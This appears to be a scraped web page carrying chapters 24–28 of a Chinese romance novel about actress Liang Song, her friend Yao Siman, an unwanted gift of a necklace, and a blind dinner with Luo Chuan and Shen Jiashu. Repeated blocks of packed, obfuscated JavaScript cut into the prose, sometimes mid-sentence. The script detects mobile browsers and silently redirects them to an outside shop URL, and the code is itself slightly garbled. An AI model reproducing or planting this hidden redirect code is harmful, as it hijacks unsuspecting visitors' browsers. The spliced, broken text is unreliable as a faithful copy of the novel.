;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755040|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “#梁颂我的嘴替#,让我来看看他们都说了点什么。” 梁颂眯着眼睛往后仰:“你先看。” 姚思曼嘲笑她:“你瞧你吓的这样子,亏你还在娱乐圈混了这么久,这点心理承受能力都没有吗?” “你懂什么?糊是我的保护色好不好。” “啧,没出息。”姚思曼摇头,“啊,有人发了视频剪辑呢。——颂言颂语,这标签打得很有意思嘛,你确定不看?” 梁颂拨浪鼓似的摇头:“算了算了。” “好吧,那我就自己看了。”姚思曼也不强求,只是以她的表情,几乎就差把引诱明晃晃地写在脸上了。 果然,梁颂并没能坚持多久就凑过来了,嘟嘟囔囔地要求:“我也要看。” 姚思曼得意地勾起嘴角,安慰她:“真的还好啦,没有很过分的话,有几个存心找茬的,我帮你怼回去了。” 梁颂半信半疑:“真的?” 姚思曼比了个大拇指:“我办事,你放心。” “……” 梁颂心累得不想说话,自去看那一小段视频下的评论了。 【笑死,梁颂这么好玩的吗?说得还都挺在理的。】 【啊?这是我知道的那个梁颂吗?梁颂你要是被夺舍了就说一声。】 【我去,我看过她跟着剧组宣传新剧的某期综艺,我记得她不是这样的啊。】 【《锦书》宣传期是吗?我也看了!我那会儿因为看她长得很戳我的审美才多注意了一会儿,结果就发现她人超级无聊,话也少得可怜,像那种脖子可以动的笑脸木偶娃娃。】 【但你们不觉得梁颂很神奇吗?她本人又呆又无趣,可是演技居然还不赖。】 …… 眼看着讨论的方向跑偏,梁颂一时无语,指着这条评论问姚思曼:“这礼貌吗?他说我呆是什么意思?我很呆吗?” 姚思曼问:“你想听真话吗?” “废话。” “你看你看,你就是个窝里横,就会对我凶,上了节目就畏手畏脚的。”姚思曼说,“你到底有没有回看过自己的节目啊。” 梁颂一言难尽地皱起眉:“你知不知道在电视上看到自己是件很羞耻的事情……” “不管羞不羞耻,你该去看看的。”姚思曼一本正经地说,“你看了就知道,其实那个网友形容得还挺精准的。” 梁颂完全不想接受这个残酷的事实,抱着脑袋哀号:“我以后再也不想参加综艺了。” 姚思曼翻了个白眼:“喂,这是重点吗!” “不是重点,但很重要。”梁颂的声音从手臂间传出来,闷闷的,“你要我以后怎么面对这种通告。” “怕什么,现在的你早已不是以往的你了。”姚思曼大力地拍梁颂的背,险些把她拍塌,“我越来越觉得我那个愿望许得好,根本就是在帮你重新开始嘛!” 梁颂笑不出来:“这么说我还得谢谢你?” 姚思曼大手一挥:“不客气,只要你不再摆烂,努力让自己红起来,就算对得起我的一番良苦用心了!” 25. 第 25 章 梁颂的微博账号是高中时就开通的,她那时候喜欢写东西,断断续续发了好些杂七杂八的小故事和短篇文章什么的,积累了一小波粉丝,又因为不好意思让太多人看,只告诉过几个要好的同学和朋友,对其他人只说不用微博。 后来,她在和公司签约,由于舍不得公开自己的这个账号,索性开了一个新号作为工作专用,用来发一些新剧宣传之类的东西,但她工作不多,粉丝也不多,加上怕手滑惹祸,登工作号的频率并不太高,平常吃瓜什么的仍是悄咪咪地用私人账号,把自己藏得很好。 姚思曼仍在兴致勃勃地刷关于她的话题,碰到有趣的要念给她听,碰到说话难听的也顺手拉黑举报一条龙,活脱脱一个过滤器。 梁颂登上自己的工作号,对着99+的私信,先做了个深呼吸做足心理准备,这才硬着头皮点了进去。 与往常相比,这次的私信数量显然不知道翻了几番,仿佛怎么也滑不到底似的。 梁颂随便挑着点开了几条,也是说什么的都有。 【漂亮姐姐贴贴!】 【啊啊啊啊梁颂我好喜欢你,你怎么那么可爱!】 【骂得好,多骂几句!】 【笑死了,姐姐多上综艺吧。】 【姐姐活得好清醒啊,我支持你!】 …… 有这样的,自然也有很不客气地骂她的。 【服了,你不会说话可以不说的。】 【一副高高在上的样子指点什么呢,真恶心。】 【我看你长得也不怎么样,还在那儿人身攻击,搞笑。】 【又想立什么人间清醒的人设吗?改路线了?】 【想要流量想疯了吧,糊逼一个。】 …… 可能是双方阵营的态度对比过于鲜明,梁颂惊讶地发现自己竟然异常冷静,内心没有什么大的波动。 人永远没办法预料和控制别人的想法,谁要想什么,说什么,那都是他们的自由,你也无法试图让一个固执的人轻易地改变自己的想法。 姚思曼又念了一条评论,没有得到任何回应,疑惑地凑过来:“你在看什么?” 梁颂退出当前界面的动作慢了一步,一条极具辱骂性的私信就映入了姚思曼的眼帘,她顿时怒了,义愤填膺地说:“靠,这人有病吧,怎么骂人呢。” “没什么。”梁颂出奇地淡定,关掉对话框,“不看了,随便他们说吧。” “你,你没事吧。”她的反应反倒让姚思曼很不放心,忧心忡忡地问,“你不是最怕别人骂你了吗?不会是受的打击太大,人都傻了吧。” 梁颂摇了摇头:“没有,我真的觉得还好。” 姚思曼没说话,但是面上露出的担忧却是格外明显。虽说梁颂既然这么说了就代表她是这么想的,但她就是无法放下心来。 梁颂笑了笑,说:“你别用这种表情看我,你不知道,你光看到了有人骂我,没看到还有好多人语气强烈地说喜欢我呢。” “可是……” “我的心理承受能力似乎并没有自己想象得那么差。”梁颂说着,微微皱起了眉,“也许是我一直把自己封闭在一个茧里,所以长期以来都给自己造成了这样的错觉?” “嗯……”姚思曼稍加思索,说,“也是,毕竟你上学时成绩都很好的,心理承受能力当真很差的话,也不可能顶着压力保持领先吧。” “这好像不是一回事吧。” “哎呀,原理都一样啦,不要那么认真。”姚思曼挥了下手,语气认真地说,“总之,你能这么想我就放心了。” “嗯,没事了。”梁颂说,“反正也睡不着了,我先去洗脸刷牙。” “好——” 梁颂还没来得及动,手机又震动起来。 姚思曼纳闷地说:“怎么回事,我们今天是不是太忙了。” 梁颂也有同感,看看又是陌生号码,迟疑了几秒才接通:“喂?” 电话那头传来一道清亮的男声,听声音是个年轻的男孩子:“您好,请问是梁女士吗?” 梁女士?是指我没错吧,梁颂这样想着,犹豫地应:“嗯,我是,您是哪位?” 男孩子语速很快,同时难能可贵地兼顾了口齿清晰:“我是同城快送,我现在已经到枫林花溪一区了,给您寄件的那位先生说让我提前给您打电话,问您是否需要送货上门。您看是我给您送过去,还是您自己下来取?” 同城快送?应该是自己的手链,梁颂松了口气,说:“您稍等一会儿可以吗?我马上就出去拿。” 男孩子爽快地同意:“没问题,那我就在西门这边等您。” “好的,谢谢您,我五分钟到。” 梁颂一边答应着,立刻就起身去换衣服。 姚思曼问:“是陈以年寄来的手链吗?这也太快了吧。” “他发的同城快送,我得去小区门口取。” “哦,陈以年不知道具体地址。”姚思曼瞬间了然,随后跟着起身,“我帮你去取吧,你就别折腾了。” “嗯?你确定?” “放心,跑腿这点小事交给我了。”姚思曼行动迅速,随便套了件外套,又把头发扒拉顺,说,“给我个口罩,帽子也借我。” 梁颂去给她拿口罩,又把自己的棒球帽扣在她头上,笑着说:“我就说,你怎么会敢这么出门。” “好歹要给自己留点颜面吧,蓬头垢面是很容易碰见帅哥的。”姚思曼把自己收拾好,说,“我出去了啊。” “谢谢你——” 姚思曼摆了摆手,走到大门又问:“不对,他在哪儿等啊。” “在西门。”梁颂回答,想想又补充,“哦!对了,是到付,记得付钱。” 姚思曼比了个OK的手势,匆匆出门了。 不到十分钟,梁颂洗漱完毕,姚思曼也带着她的手链回来了,举起来晃了晃:“你别说,陈以年还挺细心的,还是用饰品盒包装的。” 梁颂急着查看自己的手链,迫不及待地撕开快递袋,拿出了里面的饰品盒。饰品盒属于某个知名珠宝品牌,应该是陈以年自己的。 但梁颂的关注点全然不在这里,打开盒子,小心翼翼地取出了里面的手链,想看看是哪里断开了,好不好修。 然而,她翻来覆去地找了半天,完全没发现哪里有什么问题。 姚思曼问:“你在找什么?” “哦,陈以年说手链断开了,可这明明是好好的啊。” “嗯?是吗?我看看。”姚思曼接过手链看了看,说,“有没有一种可能,陈以年先帮你修好了。” 梁颂半信半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁颂也不兜圈子,开门见山地问:“项链是什么意思?要我寄回给你是吗?” “你怎么会这么想。”陈以年笑了,“只是一份小礼物而已。” 梁颂脱口而出:“无事献殷勤,非——” 她猛然意识到自己即将说出口的话不对劲,立马捂住了嘴巴。 “嗯?非什么?”陈以年逗她,“你为什么不说下去?” 梁颂闭紧嘴巴,一言不发。 陈以年能听到她的气息,知道她没有丢开手机,轻声叹气,说:“主动打来电话又不说话。——好吧,既然你不肯说,那就我来说好了。我去找一个朋友帮你修手链,恰好在他店里看到了跟你的手链同系列的项链,觉得很是凑巧,所以就顺便买下来送给你了。” “我不要收,把你的地址给我,我会寄回去的。” “抱歉,暂不提供退货服务。”陈以年不为所动,“我还有工作,回头再聊,拜拜。” “喂——” 梁颂求助地看向竖着耳朵从头听到尾的姚思曼。 姚思曼耸了耸肩:“爱莫能助。” 26. 第 26 章 梁颂拿着陈以年口中所说的礼物,只觉又烫手又沉重,拿也不是,丢也不是,最后只能决定暂时随身携带,等什么时候遇到陈以年再亲手还给他。 至于同城快送的费用和手链修理费,她大概估算了个金额,直接以转账的形式发给了陈以年,并且暗自决定如果陈以年不收,她就继续转,直到他收了为止。 姚思曼冷眼瞧着,默默地摇了摇头,总觉得梁颂神经过敏,并且这事不会这么轻易就能结束。 当天下午,姚思曼收到了来自海归优秀青年的好友申请,对方自我介绍说叫罗川,比姚思曼大两岁。 两个人简单地聊了聊,罗川说自己明天正好要来青城见朋友,问姚思曼有没有时间,要不要一起吃个饭。姚思曼自然没有异议,于是和他约了晚餐,餐厅就由对青城更加熟悉的自己来决定。 梁颂眼瞅着姚思曼放下了手机,好奇地问:“你们都没交换个照片吗?” 姚思曼耸了耸肩:“他没说,我也就没提。” “你都不想知道他长什么样子吗?”梁颂说,“万一他长得不好看怎么办?你能接受?” 姚思曼思索了两秒:“那就吃完饭就跑,反正有你陪着,怕什么。” 梁颂无语:“你们俩乐意开盲盒,非要拉我下水,这叫什么事。” 姚思曼嘻嘻笑,对梁颂的抗议置之不理:“走啊,出门逛逛去,陪我买条约会穿的新裙子,我一定要亮瞎他的眼。” 梁颂白她一眼:“亮瞎相亲对象的眼睛对你有什么好处?” “总之气势不能输。”姚思曼握拳,“只能有我看不上他的份,决不能让他看不上我。” “……什么奇怪的攀比心理。” “你别管!” 梁颂对姚思曼的观点表示质疑,但也只能尊重并理解,乖乖地陪她去逛街。恰好最近有梁颂感兴趣的新片上映,便决定和姚思曼来个看电影、逛街和吃晚餐一条龙。 她们去的商区距离梁颂家车程约四十分钟,是春天新开业的,规模也很大,零售、餐饮、潮玩、运动等一应俱全。 “难以置信,好几个月了,我们居然一直没有想着过来转转。”姚思曼站在地图前研究楼层分布图,说,“干脆明天也约在这里算了。” “是还不错,可以考虑。”梁颂表示赞同,又指指中庭的一大片场地,“你看那边,他们好像还会在这边办音乐会哎,不知道请的都是什么歌手或者乐队。” “无名小卒吧。”姚思曼随口回答,“难道还能请得动什么大咖不成?” “也算是个被人看到的机会吧。”梁颂说,“而且你别小看了这种小场子,真正有实力的人在这里也可以发光的。” “啊,是呢,那个谁以前不就在各间小酒吧游荡演出,后来才被经纪人发掘的吗?” “那个谁是谁?” “我一时记不起名字了嘛。”姚思曼抬手比划,“那个头发总是这样挡着眼睛的,整个人的气场阴森森的。” 梁颂想了想:“江南雨吗?” “对对对,就是他!”姚思曼一拍巴掌,“我就记得他的名字很特别,其他的倒没什么深刻的印象。” 梁颂笑起来:“好伤人的印象,江南雨知道要哭了。” “江南雨哭啊……”姚思曼不知道联想到了什么,不自觉皱起了眉头,“怎么说得那么瘆人呢。” “哈?为什么?” “因为他给人的感觉就是那种阴暗爬行的冷血动物,不会有什么情绪的样子……” 梁颂无奈地说:“你想象力会不会太丰富了一点。” “他自己要表现成这样又不能怪我。”姚思曼嘀咕,又好奇地问,“你跟他打过交道吗?他私下也是摆着那张谁都欠他钱的阴沉脸吗?” 梁颂摇了摇头:“打交道说不上,只有过一两面之缘,但具体场合也记不清了。” 姚思曼追问:“那他人怎么样?” “并没有和他说话,我又不认识人家。”梁颂说,“不过我确实看到他对过去搭话的人有点爱搭不理的意思。” 姚思曼一副果然如此的模样:“你看,阴暗爬行,这形容很精准吧。” “好啦好啦,你再八卦下去电影都要开场了。” “对,不能耽误了正事,走走走。” 找到影院取完票后,离电影开场还有十几分钟,梁颂和姚思曼两个人人手一杯可乐,对影院外张贴的形形色色的电影海报指指点点。 姚思曼喋喋不休地批判一张设计得花里胡哨毫无重点的海报,梁颂打断无能,索性由着她去说,拉下口罩自顾自地小口小口地啜杯中的可乐。 冰冰凉凉的可乐滚过喉咙,梁颂惬意地叹了口气,下一秒就听一道女声犹豫地响起:“请问,你是梁颂吗?” 梁颂吓了一跳,险些被可乐呛到,震惊地转头看去。 两个大学生模样的女生满眼期待地看着她,看清她的脸后露出了惊喜的笑,对视一眼:“真的是哎!” 梁颂清了清嗓子,展现出亲和如春风般的笑容:“你们好。” 其中的短发女生手忙脚乱地从包里翻出笔记本和笔:“请问可以给我签名吗?” 梁颂接过来,笑着说:“当然没问题。” 两个女生的眼神和表情都显得兴奋,但大概是性子比较羞涩,道了谢后就不知道该说什么了。 梁颂低着头在笔记本上签名,以闲聊的语气问:“你们来看哪部电影啊。” “啊,我们来看那部《无与伦比的蓝》,你们呢?” 梁颂抬起头,把笔记本还给短发女生,微微一笑:“真巧,我们也是。” 两个女生闻言都挺高兴的,又和梁颂聊了几句电影。 姚思曼难得生出一种自己的好朋友真的是个艺人的真切感,饶有兴趣地在旁观了一会儿,插话说:“你们什么时候开始喜欢梁小……梁颂的啊。” 短发女生面露尴尬,支支吾吾地说:“其实,我是今天在微博上刷到才认识的,刚才看到你们,我还害怕是自己认错人了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁颂笑而不语,起身离场后才对姚思曼具体解释说:“孟真学姐比我们大三届,我们刚入校她就升大四了,没什么机会发展出很深的交情,不过她在学校很有名的,是出了名的拼命三娘,参加各种活动都很活跃,老师们欣赏她,我们这些学弟学妹也都很佩服她。” “听起来很厉害嘛。” “是啊,她还帮过我,所以我才想着无论如何也要来支持她两张电影票。” “那的确应该的。”姚思曼说,“回头我就多帮她宣传宣传,发动同事们去看。” “那就先替学姐谢谢你咯。” “多大点事。”姚思曼摆摆手,又问,“那你们之后会不会有合作的可能啊。” “可能性不大。”梁颂说,“她这部电影如果票房表现得好,以后的机会自然多得是,也看不上我这种对票房毫无帮助的演员吧。” “干吗这么悲观,一切都说不定呢。”姚思曼安慰她,“我就相信我们家梁小颂是最好的,配得上所有机会,早晚有一天,那些导演都来上赶着请你和他们合作。” 梁颂弯了弯嘴角:“是吗?那借你吉言。” 27. 第 27 章 姚思曼也不知道是被激起了什么奇怪的好胜心,看完电影就拉着梁颂去楼上逛,誓要买到一条满意的裙子。 梁颂拿她没办法,只能乖乖地作陪,还要负责在她试穿每条裙子后进行一番客观公正的点评,等一圈逛下来,不仅脚走酸了,连嘴巴都说干了,可姚思曼这个挑剔的家伙挑来挑去,就是没有能入她法眼的。 梁颂实在是没招了,把脚下生风的姚思曼拽住,苦着张脸说:“思曼,我们回去吧,明天上午再继续好不好?我好累啊,好想躺下。” 姚思曼意犹未尽:“啊?为什么?今天能完成的事就今天完成不好吗?” “可我真的好累!” “哎——”姚思曼不情愿,可看梁颂整个人都开始发蔫了,也不忍再折磨她,妥协说,“那这样,你从我试过的裙子里选一条,我们折回去买它。” “就算你这么说,也太瞧得起我的记忆力了……”梁颂垮下了肩膀,但为了自己的脚着想,仍是开始努力回想姚思曼试过的那些裙子,半晌,她说,“那条墨绿色的怎么样,版型好,质感也不错。” 姚思曼想了想,长长地“哦”了一声,说:“那条啊,你不是说有点短吗?” “但确实好看啊,你自己也喜欢不是吗?” “喜欢是喜欢啦。”姚思曼犹豫了一会儿,做出了决定,“好吧,那就它了,相信你的眼光。” 梁颂舒了口气:“太好了,那我们折回那家店去。” “你还记得在哪儿吗?” “我记得店的名字,没记错的话是在扶梯附近。” 姚思曼冲她比了个大拇指:“可靠。” 好不容易挨到能回家休息,梁颂往外走的时候已经是像霜打的茄子了,被姚思曼挽着手臂,没精打采地直打哈欠。 反观姚思曼,依然神采奕奕的,仿佛还能再拉着她来个一公里竞走。 两个人正有一搭没一搭地聊着天,姚思曼突然拽着她停下了脚步,说:“那边有个帅哥。” “嗯?哪儿?”梁颂心不在焉地应着,想要扭头去看,却被姚思曼掰正了脑袋,“你别太明显,小心被发现了。” “……”梁颂说,“那你跟我描述描述。” “目测一米八以上,白衬衣牛仔裤,看着挺年轻,文质彬彬的,戴副眼镜。” 姚思曼此人喜好相当专一,两位前任都是这种外形斯斯文文的男生。 梁颂一听她这描述,脑子里已勾勒出了模糊的轮廓,点了点头:“嗯,是你喜欢的类型,去要个联系方式?” 姚思曼皱起眉:“我没干过这事,不敢……” 梁颂奇道:“你这种社交恐怖分子也有害怕的时候?” 姚思曼气呼呼地拍了她一下:“不礼貌。”说完又朝着男生的方向看,“他好像在等人,不会是等女朋友吧。” “你去问问不就知道了,难得遇到第一眼就抓住你眼球的。”梁颂鼓动她,又提议说,“或者我们在这里等两分钟,他要是还没走你就去。” 姚思曼成功被说服:“好,那就这么办。” 两分钟过后,男生依旧独自站在原地,低着头看手机,手指在屏幕上跳跃,应该是在和谁发消息。 梁颂微微眯起眼睛观察他的脸,看他表情始终平淡,猜测对面并不是女朋友,便提醒姚思曼:“两分钟到了,去吧,速战速决。” 事到临头,姚思曼却又有些迟疑了:“真要去吗?” “……”梁颂无语,抬手推她后背,“快去!” “好好好,我去,你别推我。” 姚思曼拿着手机,硬着头皮走到男生面前,故作轻松地打了个招呼:“你好。” 男生停下打字的动作,抬眼,镜片后的眼睛不动声色地打量她,过了几秒才回:“你好,有什么事吗?” 姚思曼也没拐弯抹角,开门见山地说:“方便加个微信吗?” 男生反问:“为什么?” 姚思曼愣了愣:“啊?”她心想,要微信当然是想认识你啊,你愿意就愿意,不愿意就拉倒,装模作样地问为什么是想干什么。 她试探着说:“交个朋友?” 男生笑了笑,问:“你确定?” 姚思曼更加迷惑,加上耐心毕竟有限,此时已然在后悔贸然上前搭讪这件事了,但又不太服气,便最后争取了一把,试图欲擒故纵:“你不方便吗?有女朋友了?如果是那就算了。” “的确不太方便,不过有其他原因。”男生礼貌地道歉,“不好意思。” 姚思曼这还是头一次主动向男生搭讪,结果出师就失利,难免觉得没面子,但她的骄傲又不允许自己过多纠缠,很干脆地选择了放弃:“好吧,没关系。”说罢转身就走,只给对方留下一个潇潇洒洒的背影。 梁颂听不到他们说什么,单看姚思曼回来时的表情就懂了,问:“失败了?” 姚思曼摊手:“失败了。” “有女朋友了?” “他说不是,有其他原因。”姚思曼说着,忍不住捂住了脸,“啊,好丢脸。” 梁颂也没想到她居然会失利,安抚地拍拍她的肩膀:“好啦,都怪我,早知道就不怂恿你去了。” “而且太可惜了。”姚思曼满脸遗憾,“你知道吗?他走近了看更帅了,完美戳中我的审美。” 梁颂也只能安慰她:“没关系,还有下一个。” 姚思曼叹气:“唉,回家吧。” 次日下午,姚思曼换上新裙子,精心化妆,准备出门赴约。 梁颂这次安心做个陪衬的绿叶,也懒得多捯饬自己,素着一张脸,戴上一副大黑框眼镜,衣服也是简简单单的宽松格子衬衫、牛仔裤和白色帆布鞋,要多随意就有多随意。 姚思曼盯着她看,忽然冒出来一句:“梁小颂你真讨厌。” 梁颂一头雾水:“哈?” “你为什么连这种不修边幅的样子都是好看的!”姚思曼咬牙切齿地把梁颂的头发揉乱,“我好嫉妒啊!” 梁颂护着自己的头发后退一大步,不满地抗议:“请你对我的头发友好点!我头发很宝贵的!” “哼!” 姚思曼最终定下的餐厅就在她们昨天去的商区,她还特意预定了个小包间,一来避免等位,二来安静的环境也可以专注地聊天。 她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819025|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前到了十几分钟,在停车场停车的时候,姚思曼收到了来自罗川的消息,说他和朋友到了一楼的中庭,马上坐电梯上去。 姚思曼诧异:“咦?他们到了,还挺早。” “不错啊,很有时间观念,可以加分。”梁颂停好车,凑过去看了一眼,说,“现在我可真的开始好奇他是什么样的人了。” 姚思曼推开车门,回头对梁颂扬唇一笑:“走,去认识认识。” 她们直接从楼下坐电梯上楼,服务生听说她们有预约,将她们引到包间,并告知她们两位先生已经到了。 姚思曼做了个深呼吸,伸手推开了包间的门,里面的两个男生听到开门声,一齐朝门口看过来。 姚思曼看清他们的脸,脸上的笑容僵住了,随即又一把拉上了门。 梁颂看蒙了,问:“怎么了?” 姚思曼咽了咽口水,说:“有个熟人。” 梁颂更是困惑:“熟人?谁?” 姚思曼打退堂鼓:“我们走吧,就说临时有事来不了了。” “哈?你开什么玩笑,我们都到了,而且他们也看到你了不是吗?” 姚思曼瘪着嘴把她拉到身前,嘟嘟哝哝地说:“那你先进去。” 梁颂看她这副有苦难言的样子,搞不清楚是什么状况,同时更想知道她到底看见了谁,满腹疑团地开门率先走进了包间。 这一进去她就明白姚思曼的表情是什么意思了,包间里有两个男生,其中个子较高的那个正是姚思曼昨晚搭讪反被拒的那个。 梁颂的大脑宕机了一秒,心想这世界是不是太小了一点。 个子较矮的那个男生看她们进来,眼睛一亮,热情地起身招呼:“真是你们呀,刚才你们开了门就出去了,我还以为你们是走错包间了呢。” 姚思曼毕竟是今天的主角,也不好真把梁颂当挡箭牌,挤出个略显生硬的笑:“你们好。” 个子较矮的男生伸出手:“你好,我是罗川,这是我朋友,沈嘉树。” 沈嘉树站在他身后,没说话,只冲她们点头致意。 “哦……”姚思曼轻轻回握罗川的手,压根不敢看沈嘉树,客客气气地自我介绍,“我是姚思曼,这是我朋友,梁颂。” “来来,先请坐吧,坐下来慢慢聊。” “嗯,好。” 四个人坐下来,梁颂和姚思曼坐一边,罗川和沈嘉树坐她们对面。 罗川看梁颂摘下帽子,眉宇间露出一丝怀疑,不确定地问:“我看你有点眼熟,我们见过吗?” 姚思曼向来以梁颂为骄傲,立刻说:“她是梁颂啊,是个很好的演员,你不知道吗?” 罗川不好意思地挠了挠头:“我之前在国外,平时也不太关注这些。” “没关系。”梁颂笑了笑,说,“我只是个名不见经传的小演员,不认识也很正常。” “那回头我去补补课。”罗川性格很随和,笑着说,“很高兴见到你。” 梁颂看他的表现,暗自想沈嘉树应该是没有把昨晚的事告诉他。 可是这样一来,情况就复杂了呀,她微微蹙眉,不由得生出了几分担忧。 28. 第 28 章 四个人点好了菜,客套地寒暄。 梁颂怕自己说出什么不合时宜的话,尽量少说话,只不动声色地观察罗川和沈嘉树。 沈嘉树也不怎么说话,只在罗川问到他时才应和几句。 从他们的交流中,梁颂了解到沈嘉树家在青城,是罗川的大学同学。两个人关系不错,一直保持着联系,罗川回国时也会抽空和沈嘉树聚一聚。 谈到工作问题时,罗川说:“原本我也想考虑过来青城找工作,但父母都希望我留在阳城,所以暂时决定在阳城工作,也好多陪陪他们。” 姚思曼便问:“意思是以后还会变动?” 罗川倒也坦诚,直说:“工作什么的都不是一成不变的,以后如果有了稳定发展的女朋友,嗯……总之都可以两个人商量的嘛。” 姚思曼点点头:“了解了。” 她表现得很礼貌,但梁颂能察觉到她对罗川是没什么心动的感觉的,反而是对昨晚一眼就注意到的沈嘉树有更多的好感,偏偏出于罗川和沈嘉树的关系,又不好有所表示,因此内心应该是很矛盾的。 那么沈嘉树是怎么想的呢?他对思曼会是什么想法? 梁颂想不通这个问题,暗暗替姚思曼苦恼。 席间,梁颂起身去洗手间,出来时恰好碰到了沈嘉树。 沈嘉树对她笑笑,正要从她身边走过,梁颂出声叫住他:“等等。” 沈嘉树转过身来:“嗯?怎么了?” 梁颂犹豫两秒,问出了自己的疑问:“你昨晚为什么拒绝思曼?” 许是两个当事人都不在,沈嘉树坦白:“我认出她了,知道她就是今天要和罗川见面的女生。” 果然,梁颂想。 “所以你是为罗川拒绝她的吗?” “是。” “可是你怎么认出她的呢?你之前就见过她?” 沈嘉树摇了摇头:“罗川看她的朋友圈时,我看到了她的背景图。” 梁颂恍然,姚思曼的朋友圈是自己偶然给她拍出的一张氛围感极好的照片,她很喜欢,因此设成了背景图。 “罗川不是说以为我们走错包间了吗?他没认出来?” 沈嘉树笑了:“罗川他对人脸比较迟钝,而且那张背景图是逆光的,让他认出来就太难为他了。” “原来如此,那就难怪了。” “嗯,是这样。”沈嘉树说,“你还有什么想问的吗?” 梁颂咬了咬下唇,还是忍不住问了出来:“你觉得思曼怎么样?” 沈嘉树没有回答她的问题,反问:“你很关心你朋友的感情问题?” “当然,她是我最好的朋友。” 沈嘉树说:“罗川也是我的好朋友。” 梁颂默然不语。 就是说,因为和罗川是好朋友,所以不想介入罗川和姚思曼之间吗? 她心事重重地回到包间,纠结着要不要把沈嘉树的话告诉姚思曼。 一顿饭下来,姚思曼和罗川聊得很愉快,吃过饭后,罗川又邀请姚思曼:“时间还不算晚,要去看场电影吗?” 姚思曼闻言看向梁颂,以眼神询问她的意见。 梁颂可不想当一晚上的电灯泡,摆摆手说:“你们去吧,我就不去了。” 沈嘉树接话说:“我也不去,你们两个去吧。——罗川,我把车留给你,看完电影你送她回家吧。” 罗川也没和他客气,笑着拍拍他的肩膀:“多谢。” 姚思曼出于尴尬,一晚上都没和沈嘉树直接交流,听他这么说,心里难免有些过意不去,问他:“那你呢?” 沈嘉树淡笑,说:“我打车回去就好。” “那怎么好意思。” 沈嘉树不以为意:“没事,我住得离这儿也不远。” 姚思曼迟疑地看梁颂,梁颂能感觉出来她还是想再和罗川聊聊的,无声地叹了口气。 好吧,看来这个牺牲只能让自己来做了。 经过一番推让,四人终于达成共识,梁颂开自己的车送沈嘉树回去,罗川再开沈嘉树的车送姚思曼。 目送着罗川和姚思曼去坐电梯上楼,梁颂率先迈开了脚步,说:“走吧,我的车在外面的停车场。” 沈嘉树跟了上来,说:“其实你没必要送我的,只要我们不说他们就不会知道。” “你以为我想送你啊,我是为了思曼才这样做的。”梁颂头也不回地说,“放心吧,我肯定把你安全送到家,不会把你丢在半路的。” “那我该谢谢你朋友了,给我机会和你单独相处。” 梁颂不悦地皱眉:“别说这种奇怪的话。” “好,不说,但这样不会给你带来什么麻烦吗?你毕竟是个演员,被人看到和我一起也不好吧。” 梁颂此时已经戴好了帽子和口罩,说:“只要你不大声宣扬,没人会注意我的,把你的心放到肚子里吧。” 沈嘉树笑了:“吃饭时没怎么听你说话,原来你一开口真的这么不客气,在节目上是本色演出啊。” 梁颂默默地翻了个白眼,没答话。 怎么回事,她怎么这么不爱听这个人说话呢。 算了算了,赶紧把他送回家拉倒。 他们到了停车场,沈嘉树突然提议:“时间还早,要不要找个地方坐坐?我请你喝点什么。” 梁颂立马回绝:“我看不用了,谢谢。” “你拒绝得也太干脆了吧。”沈嘉树说,“你这样让我很受伤哎。” “谁管你。”梁颂从包里翻出车钥匙,拉开车门,“上车。” 沈嘉树却没动,说:“我来开吧。” “为什么?” 沈嘉树摇头:“让女孩子给我当司机,这种没风度的事我可做不来。” 梁颂心想,你最好是永远都别打车,永远都别遇到女司机。 不过既然他都这么说了,她也懒得为这些无足轻重的事浪费口水,把车钥匙给他:“行,那你开,注意安全。” 沈嘉树抛了下车钥匙:“放心,我是老司机了,驾驶技术绝对没问题。而且,车上有个女明星,我哪敢不当心呢?” “……” 梁颂强行压下自己的不适感,努力劝说自己坚持几十分钟,几乎怀着一股大义凛然的心情扯过了安全带。 沈嘉树看她系好安全带,说:“出发了啊。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828626|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 